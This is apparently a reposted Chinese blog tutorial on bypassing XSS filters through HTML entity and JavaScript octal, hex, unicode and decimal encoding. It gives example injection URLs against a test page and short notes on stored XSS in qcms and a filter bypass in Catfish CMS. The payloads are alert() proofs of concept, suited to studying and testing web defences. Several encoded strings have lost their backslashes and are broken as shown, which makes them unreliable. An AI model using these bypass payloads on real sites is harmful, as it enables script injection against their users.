zoukankan      html  css  js  c++  java
  • XSS--编码绕过,qcms,鲶鱼cms

    一.编码绕过

    1)HTML进制编码
    标签中的某些属性值可以使用html十进制、十六进制表示
    2)JavaScript编码
    JavaScript支持unicode、八进制、十六进制、十进制等
    3)URL编码
    4)base64编码
    
    • js编码分为8进制 10进制 16进制,unicode编码--u
      8进制,10进制直接用eval函数运行把alert('xss')转码
      eval('')有单引号
    8进制
    http://test.com/xss/xss/example5.php?name=<script>eval('1411541451621645061616161616161616151')</script>
    
    16进制
    http://test.com/xss/xss/example5.php?name=<script>eval('x61x6cx65x72x74x28x31x31x31x31x31x31x31x31x31x29')</script>
    
    unicode编码
    http://test.com/xss/xss/example5.php?name=<script>eval('u0061u006cu0065u0072u0074u0028u0031u0031u0031u0031u0031u0031u0031u0031u0031u0029')</script>
    


    10进制还要加String.fromCharCode函数用eval执行

    http://test.com/xss/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,49,49,49,41))</script>
    

    • HTML编码
      HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
      例如:
    <img src=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>
    

    可以正常显示。
    但是当你把src或者img进行html编码就不行了,例如:

    <img &#115;&#114;&#99;=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>
    

    3.ppt









    三,实战qcms和Catfish(鲶鱼)CMS

    (1)qcms

    大体游览一遍网站发现只有留言处有输入,可能存在xss,

    完全没有过滤,还是存储型xss

    (2)Catfish(鲶鱼)CMS-4.7.21


    发现过滤尖括号,双引号,听老师知道这是前端过滤,用burpsuit即可绕过

    百度到的大佬审计原理

  • 相关阅读:
    设计模式(18)>职责链模式 小强斋
    设计模式(17)>中介者模式 小强斋
    设计模式(16)>原型模式 小强斋
    设计模式(20)>状态模式 小强斋
    设计模式(15)>桥接模式 小强斋
    设计模式(18)>职责链模式 小强斋
    堆栈的工作原理
    掌握udev
    Qt Model/View 学习笔记 (七)
    Qt Model/View 学习笔记 (六)
  • 原文地址:https://www.cnblogs.com/hackxf/p/8988526.html
Copyright © 2011-2022 走看看